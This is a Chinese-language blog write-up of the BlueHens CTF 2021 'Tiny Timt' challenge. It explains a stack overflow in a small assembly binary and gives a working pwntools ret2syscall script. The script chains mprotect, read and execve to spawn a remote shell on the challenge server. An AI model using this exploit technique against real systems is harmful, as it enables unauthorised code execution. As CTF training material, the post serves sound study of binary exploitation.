BlueHens CTF 2021 --- Tiny Timt writeup

检查下保护机制:

64位的程序,没有开启什么保护,这样就可以写shellcode

 

ida看下逻辑:

 

_start调用vuln函数,然后exit,那我们看下vuln:

sub rsp 0x20,说明栈帧大小只有0x20

但是接下来的read,却可以读取0x200个字节,这就造成了栈溢出

这是一个汇编写的程序,注意这一块的内容:

 

pop_rax_ret,pop_rdi_ret,pop_rsi_ret,pop_rdx_ret,一个不少,看起来像是ret2syscall

但是问题在于,从哪里找到指向"/bin/sh"的指针呢

可以先在bss段写'/bin/sh',然后再调用execve(0,"/bin/sh",0,0)

写脚本的时候,可以把这两个rop分先后顺序,合成一个payload。

利用脚本如下:

from pwn import *
context.log_level="debug"
context(arch='amd64',os='linux')

#sh=gdb.debug("./tiny","b * 0x401041")
sh=remote("challenges.ctfd.io",30017)
#sh=process("./tiny")

pop_rax=p64(0x401000)
pop_rsi=p64(0x401002)
pop_rdi=p64(0x401004)
pop_rdx=p64(0x401006)
sys_call= p64(0x401041)



def sys_func(rax,rdi,rsi,rdx):
    return pop_rax + p64(rax)+pop_rdi+p64(rdi)+pop_rsi+p64(rsi)+pop_rdx+p64(rdx)+sys_call
    

payload=b"a"*0x28+sys_func(10,0x400000,0x500,7)+p64(0)+sys_func(0,0,0x400200,0x10)+p64(0)+sys_func(59,0x400200,0,0)

sh.sendline(payload)
sleep(3)
sh.sendline('/bin/sh\x00')
sh.interactive()

 

posted @ 2021-03-27 20:19  田埂  阅读(82)  评论(0编辑  收藏  举报